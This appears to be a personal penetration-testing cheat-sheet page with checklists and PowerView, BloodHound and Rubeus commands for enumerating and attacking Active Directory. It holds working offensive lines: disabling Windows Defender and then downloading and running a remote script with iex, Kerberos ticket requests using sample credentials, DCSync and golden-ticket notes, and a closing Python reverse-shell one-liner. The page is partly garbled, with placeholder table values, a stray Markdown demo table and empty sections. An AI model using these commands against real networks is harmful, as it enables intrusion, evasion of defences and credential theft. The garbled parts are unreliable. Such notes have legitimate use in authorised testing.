Brainbox – VAPT Checklist & Enumeration Flows

This page is my running VAPT brain dump: fast, repeatable flows for different target types.



layout: page title: “Brainbox” permalink: /brainbox/ —

Brainbox – VAPT Checklist & Enumeration Flows

Below are collapsible sections for quick navigation.


Web Applications

Web – Recon & Mapping - Subdomain enum Important `subfinder`, `amass`, `crt.sh` - Content discovery `ffuf`, `feroxbuster` - JS file analysis High‑value
Web – Auth & Session - Check login flows - Session cookie flags Critical - IDOR checks (horizontal/vertical)
Web – Injection & Logic - XSS, SQLi, SSTI - Race conditions / TOCTOU Critical - Business logic bypasses

Mobile Applications

Mobile – Static Analysis - Decompile APK/IPA - Hardcoded secrets Critical - Exported activities / deep links
Mobile – Dynamic Analysis - Burp proxy + cert pinning bypass - Frida hooks Useful - Insecure storage checks

Active Directory

Without Creds

AD – Without Creds - Kerberos user enum - AS‑REP roasting Critical - SMB share discovery - Password spraying (safe mode)

With Creds

AD – With Creds - BloodHound / SharpHound - Kerberoasting Critical - ACL abuse (GenericAll, WriteDACL) - Lateral movement (SMB, WMI, PSRemoting)

ICS / OT

ICS – Safe Enumeration - Passive only Safety First - Identify PLCs, HMIs - Remote access paths (VPN, TeamViewer)

Thick Client

Thick Client – Local & Network - Binary inspection - Hardcoded creds Critical - DLL hijacking - Traffic interception

============================================================

Web applications

1. Recon & mapping

2. Authentication & session

3. Input & business logic

4. APIs


Mobile applications

1. Static analysis

2. Dynamic analysis


Active Directory

Without creds

1. Network & host discovery

2. AD enumeration (unauth)

3. Initial access paths


With creds

1. Authenticated AD enumeration

2. Privilege escalation paths

3. Domain dominance


ICS / OT environments

(High‑caution, safety‑first, usually read‑only enumeration)

1. Scoping & safety

2. Passive discovery

3. Configuration & access


Thick client applications

1. Recon & static analysis

2. Traffic & backend

3. Local attack surface


Notes

This page is a living document. I update it as I refine my flows, tools, and priorities.

============================================================

INFASTRUCTURE

ACTIVE DIRECTORY

DOMAIN ENUMERATION

I do prefer to do manual enumeration but on large enterprice networks, some automated scan would come in handy to search for low hanging fruits

Automated Scanners AdPeas.ps1

You can aswell use BloodHound to visualize data

checklist check password policy gather usernam - Pray and Spray with CME

#For SharpHound.exe
./SharpHound.exe --CollectionMethod All

#For SharpHound.ps1
Invoke-BloodHound -ZipFileName ratloot -CollectionMethod All -Domain  rat.local

# Patch AMSI or disable AV

Getting hands dirty with PowerView

      Set-MpPreference -DisableRealTimeMonitoring -DisableAVIOProtection $true
      iex(New-Object System.Net.WebClient).downloadString('http:/x.x.x.x./PowerView_DeV.ps1')


# Domain & Controller Enumeration

Get-NetDomain 
            
Get-NetDomainController     


# User Enumeration

# Get all users present in the domain
Get-NetUsers | select cn

# Get users sorted with most logoncounts
Get-UserProperty -Properties logoncount | where logoncount | sort logoncount -Descending

# Get all the users in the domain and pipe their username to build a wordlist that could be used with crackmapexec later for spraying
Get-NetUsers | select samaccountname > username.txt


# Group Enumeration

# Get AD groups data either all or of a user
Get-NetGroup [-Domain <target>] [-FullData] [-GroupName "*admin*"] [-Username 'user_name']

# Get Members of a group
Get-NetGroupMember [-GroupName 'group_name'] [-Recurse]	


# Share Enumeration

# Find interesting shares
Invoke-ShareFinder -ExcludeStandard -ExcludeIPC -ExcludePrint	


# GPO Enumeration

# List all GPOs in the domain
Get-NetGPO [-ComputerName <rat.domain>]	

#Find Interesting GPO
Get-NetGPOGroup


# OU Enumeration

# Get all OU (Organisational Units) in the domain
Get-NetOU [-FullData]

# Get gplink of an OU to get GPOs applied to it
(Get-NetOU -Name 'test').gplink	

# Get GPO of a GPlink
Get-NetGPO -GPOName '{cadkfapsdfasdfaudvajkd}'

# Get GPO of an OU using gplink
((Get-NetOU -FullData <OU_NAME>).gplink -split "cn=" -split ",")[1] | Get-NetGPO


# ACL Enumeration

# Find interesting ACL
Invoke-ACLScanner -ResolveGUIDS	

# Find interesting ACL owned by a certain user :rat:
Invoke-ACLScanner -ResolveGUIDS | ?{$_.IdentityReference -match 'rat'}	


# Trust Enumeration

# Map all domain trust
Get-NetDomainTrust [-Domain <target>]

# Get all the domain of a forest
Get-NetForestDomain [-Forest <target>]	


# Hunting Users and Sessions

# Get list of all machines where current user has local admin access
Find-LocalAdminAccess	

# Invoke-EnumerateLocalAdmin	
Find all admins on all computers

# Find machines where a domain admin has a session, checkaccess tells you if you also have access to that machine
Invoke-UserHunter [-GroupName <group_name>] [-CheckAccess]	

# Get list of active sessions on a computer
Get-NetSession [-ComputerName <comp_name>]	

# Get list of Users logged-on on a system
Get-LoggedOnLocal [-ComputerName <comp_name>]	


Kerberos Attacks


# working from linux with creds

# username : rat
# password : r@tty419
# domain : rodent.local
impacket-getTGT rodent.local/rat:'r@tty419'


# now import the ticket into memory
export KRB5CCNAME=/tmp/rat.ccache

# confirm the ticket in memory 
klist



# working from windows with creds

# Using Rubeus

./Rubeus.exe asktgt 


using /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm in Rubeus you can ask for all the tickets
| Service Ticket | Service Type | # Abuse funtino | |————–|:—–:|———–:| | CIFS |Windows FileShare, PsExec | 739 | | HOST |PsRemoting, Scheduled Task | adcad | | HTTP |PsRemoting|$sess = New-PsSession -Computername DC01; Enter-PsSession -Session $sess | | LDAP |LDAP Ops, DCSync |Mimikatz > lsadump::dcsync /rat.local:$DC-IP /all /csv | | RPCSS | 1.99 | 739 | | KRBTGT |Golden Ticket |do anything lol,| | HOST & RPCSS |WMI | WMIEXEC| | HOST & HTTP |WinRM | WMIEXEC|

| |ASCII |HTML | |—————-|——————————-|—————————–| |Single backticks|'Isn't this fun?' |’Isn’t this fun?’ | |Quotes |"Isn't this fun?" |”Isn’t this fun?” | |Dashes |-- is en-dash, --- is em-dash|– is en-dash, — is em-dash|

RTF && SCF Weaponization




MITM6 IPV6 Attack




    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'